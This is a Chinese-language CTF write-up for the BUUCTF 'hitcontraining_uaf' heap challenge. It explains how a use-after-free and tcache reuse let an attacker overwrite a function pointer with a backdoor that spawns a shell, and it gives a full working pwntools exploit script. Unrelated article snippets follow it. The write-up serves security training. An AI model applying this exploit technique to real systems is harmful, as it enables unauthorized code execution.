hitcontraining_uaf

BUUCTF[PWN][堆]

题目:BUUCTF在线评测 (buuoj.cn)

  1. 程序del是没有将申请的指针清零,导致可以再次调用输出print。

  2. 查看add_note函数:根据当前 notelist 是否为空,来申请了一个8字节的空间将地址(指针)放在notelist[i]中,申请的空间的前4个字节用来存放 print_note_content 信息。然后又在该申请的空间的后4个字节中,放上了新申请的空间的地址,用来存放后续read输入的字符串。

    image-20240705201733561

    image-20240705204024201

    image-20240705203327521

    image-20240705203352180

  3. 再看一下del_note函数:先是检查了一下index的范围,再检检查一下当前的notelist列表上是否为空,即检查add时第一步申请的空间的指针,后续释放了两次的空间,但是有个问题:该notelist表还没有清空,指向这个地址的指针还存在于notelist中。

  4. 再查看print_note函数:同样检查了index是否查出范围,然后判断当前notelist是否为空,如果指针再里面就直接通过指针调用puts函数输出note的内容。

    image-20240705204015268

  5. 所以我们可以利用UAF,用magic函数的地址来,覆盖掉print_note_content的地址,这样再调用输出时就会直接执行sytem(“/bin/sh”),拿到shell。

    • 先申请两个较大的堆:size=20,但是直接给了32个字节,所以用户申请的空间和程序实际分配的空间不一定相当。

    image-20240705205307078

    • 再释放掉这两个堆:申请的4个空间都进入Tcache bin中,相同的大小再统一个数组中,每个数组中一个链表,上面的是先进入的,下面是后进入的,Tcache 的后入先出原则,下次会将下面的先出链表。

    image-20240705205515040

    • 再申请一个10大小的note:可以看到,程序直接将之前free的两个0x10大小的空间分配给了用户,一个用来参访print_note_content函数内容(add中先申请的,下面的先出链表),一个用来存放read输入的字符串(add中后申请的,上面后出链表)。

      image-20240705210436090

    • 此时仔细观察,就会的发现我们第三次输入的值 cccc ,覆盖掉了第一次申请的堆(0x20大小)中存放的print_note_content函数的地址,如果此时直接调用print_note,就会执行我们输入的值所指向的地址出的代码,所以直接用 magic函数的地址 来作为第三次的输入,覆盖掉原本 print_note_content函数的地址 ,从而挟持程序的控制流,即使在print_note内部检查时,由于(&notelist)[0]处的值不为0(因为程序调用del_note释放时没有清零),仍会执行magic函数。

      image-20240705211337393

      此时index=1和index=2的输出都会是 cccc ,因为题目调用的是同一片空间上的函数地址.UAF的魅力就在于次.

      image-20240705211702253

      image-20240705212121202

  6. EXP:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    # p = remote("node5.buuoj.cn",26733)
    p = process("./hacknote")
    
    def add(size_,context_):
        p.sendlineafter(b'Your choice :',b'1')
        p.sendlineafter(b'Note size :',str(size_).encode())
        p.sendlineafter(b'Content :',context_.encode())
    
    def free(index):
        p.sendlineafter(b'Your choice :',b'2')
        p.sendlineafter(b'Index :',str(index).encode())
    
    def printf(index):
        p.sendlineafter(b'Your choice :',b'3')
        p.sendlineafter(b'Index :',str(index).encode())
    add(20,"aaaa")
    add(20,"bbb")
    free(0)
    free(1)
    #利用UAF
    p.sendlineafter(b'Your choice :',b'1')
    p.sendlineafter(b'Note size :',b'10')
    p.sendline(p32(0x08048945))
    #调用后门函数
    printf(0)
    p.sendline(b'cat flag')
    p.interactive()
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/775739.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

海尔智家:科技优秀是一种习惯

海尔智家:科技优秀是一种习惯 2024-06-28 15:19代锡海 6月24日,2023年度国家科学技术奖正式揭晓。海尔智家“温湿氧磁多维精准控制家用保鲜电器技术创新与产业化”项目荣获国家科学技术进步奖,成为家电行业唯一牵头获奖企业。 很多人说&…

RK3568平台(USB篇)TYPE-C接口与PD协议

一.TYPE-C接口简介 type-c 插座: type-c 插头: type-c 线缆: type-c 接口定义之插座: type-c 硬件原理图: VBUS:供电引脚,用于传输电源电压,一般为5V或12V。 GND:地引…

使用ChatGPT写论文,只需四步突破论文写作瓶颈!

欢迎关注,为大家带来最酷最有效的智能AI学术科研写作攻略。关于使用ChatGPT等AI学术科研的相关问题可以和作者七哥(yida985)交流 地表最强大的高级学术AI专业版已经开放,拥有全球领先的GPT学术科研应用,有兴趣的朋友可…

一键式创建GTest测试平台

适用于C GTest测试平台搭建。直接上python脚本。 #!/usr/bin/env python3 # -*- coding: utf-8 -*-import argparse import os import platform import subprocess from xml.etree import ElementTree as ETdefault_root_path "d:\\test\\UTtest"class DeveloperTe…

文件扫描pdf怎么弄?5个简易高效的文件扫描方法

在繁忙的工作中,我们常常需要将纸质文件快速转换为电子文档,以便于编辑、存储或分享。 无论是合同、报告还是笔记,将这些纸质文件转换为Word格式,不仅能提高工作效率,还能确保信息的安全备份。然而,面对市…

Web3 ETF的主要功能

Web3 ETF的主要功能可以概括为以下几点,Web3 ETF仍是一项新兴投资产品,其长期表现仍存在不确定性。投资者在投资Web3 ETF之前应仔细研究相关风险,并做好充分的风险评估。北京木奇移动技术有限公司,专业的软件外包开发公司&#xf…

如何爱上阅读及阅读的意义有哪些?

第一个是“情绪决定”,比如看到人家健身,摄影,画画时,自己的肾上腺素开始飙升,马上表示自己也想做; 第二个是“理智决定”,理智决定同样表示想要一样东西,但表示人必定已经想好了为…

[pwn]静态编译

静态编译 1. 栈足够大的情况下 程序在ida打开后,左侧的函数栏目没有红色(系统调用的函数),而只有一些静态函数,通常这类文件的大小会必普通的pwn题程序要大得多。 这种静态编译的题没有调用库函数,也就没…

Prometheus + Grafana 监控系统-PrometheusAlert安装与配置指南

背景 Grafana 目前对国内主流的消息通知渠道兼容性一般,因此可以考虑结合使用国产的 PrometheusAlert PrometheusAlert是开源的运维告警中心消息转发系统,支持主流的监控系统Prometheus、Zabbix,日志系统Graylog2,Graylog3、数据…

华为云生态和快速入门

华为云生态 新技术催生新物种,新物种推动新生态 数字技术催生各类运营商去重塑并颠覆各行业的商业模式 从业务层面看,企业始终如一的目标是业务增长和持续盈利,围绕这些目标衍生出提质、增效、降本、安全、创新和合规的业务诉求&#xff0c…

树形结构C语言的实现

一.什么是树: 树形结构是一层次的嵌套结构。一个树形结构的外层和内层有相似的结构,所以这种结构多可以递归的表示。经典数据结构中的各种树状图是一种典型的树形结构:一棵树可以简单的表示为根,左子树,右子树。左子树…

Android HWASAN使用与实现原理

一、背景 为了提前检测出Android User Sapce的app或native进程的内存错误问题,帮助研发定位与分析这些问题,基于Android 14版本上对HWASAN做了调研分析。 二、ASAN介绍 HWASAN是在ASAN的基础上做了拓展,因此在介绍HWASAN之前先了解下ASAN.…

电源设计改进稳定度和误差放大器的解决方案

电池,变压器,电源和转换器会不断受到能量损失的影响。结果,负载上的输出电压会降低。温度是性能的另一个关键特征。通过创建误差放大系统,可以在任何类型的负载下稳定输出电压。 稳压二极管稳定器 使用功率晶体管以及电流放大器…

自己动手实现语音识别

声音的本质是震动,震动的本质是位移关于时间的函数,波形文件(.wav)中记录了不同采样时刻的位移。 通过傅里叶变换,可以将时间域的声音函数分解为一系列不同频率的正弦函数的叠加,通过频率谱线的特殊分布,建立音频内容和文本的对应关系,以此作为模型训练的基础。 语音mfc…

比赛获奖的武林秘籍:02 国奖秘籍-大学生电子计算机类竞赛快速上手的流程,小白必看

比赛获奖的武林秘籍:02 国奖秘籍-大学生电子计算机类竞赛快速上手的流程,小白必看 摘要 本文主要介绍了大学生参加电子计算机类比赛(电赛、光电设计大赛、计算机设计大赛、嵌入式芯片与系统设计大赛等比赛)的流程和涉及到的知识…

【Portswigger 学院】文件上传

教程和靶场来源于 Burpsuite 的官网 Portswigger:File upload vulnerabilities - PortSwigger 原理与危害 很多网站都有文件上传的功能,比如在个人信息页面允许用户上传图片作为头像。如果网站应用程序对用户上传的文件没有针对文件名、文件类型、文件内…

解决中型组织三个人力资源基础问题的方法

中型企业 (通常在700 - 5000名员工之间)是从中小企业发展起来的,但不称为大型企业。虽然个别市场取得了成功,但到2023年,中端市场经历了一个艰难的结局,受到了更广泛的经济挑战的影响。然而,它仍然具有灵活性和乐观性&…

24_嵌入式系统输入输出设备

目录 GPIO原理与结构 A/D接口基本原理 A/D接口原理 A/D转换的重要指标 D/A接口基本原理 D/A接口原理 DAC的分类 D/A转换器的主要指标 键盘接口基本原理 键盘接口原理 用I/O口实现键盘接口 显示接口基本原理 基本结构和特点 基本原理 LCD种类 市面上出售的LCD的类…

dtpay聚合支付系统在跨境支付场景中技术及业务方案

1 什么是跨境支付 我们从两个维度来分析什么是跨境支付,第一个维度我们从资金流向分析,国内的消费者在境外进行消费对于国内资金流来说这属于资金流出,这是跨境支付的第一种应用场景。第二个场景国外游客在国内进行消费,这属于资…

【ECCV 2024】首个跨模态步态识别框架:Camera-LiDAR Cross-modality Gait Recognition

【ECCV 2024】首个跨模态步态识别框架:Camera-LiDAR Cross-modality Gait Recognition 简介:主要方法:实验结果: 论文:https://arxiv.org/abs/2407.02038 简介: 步态识别是一种重要的生物特征识别技术。基…
最新文章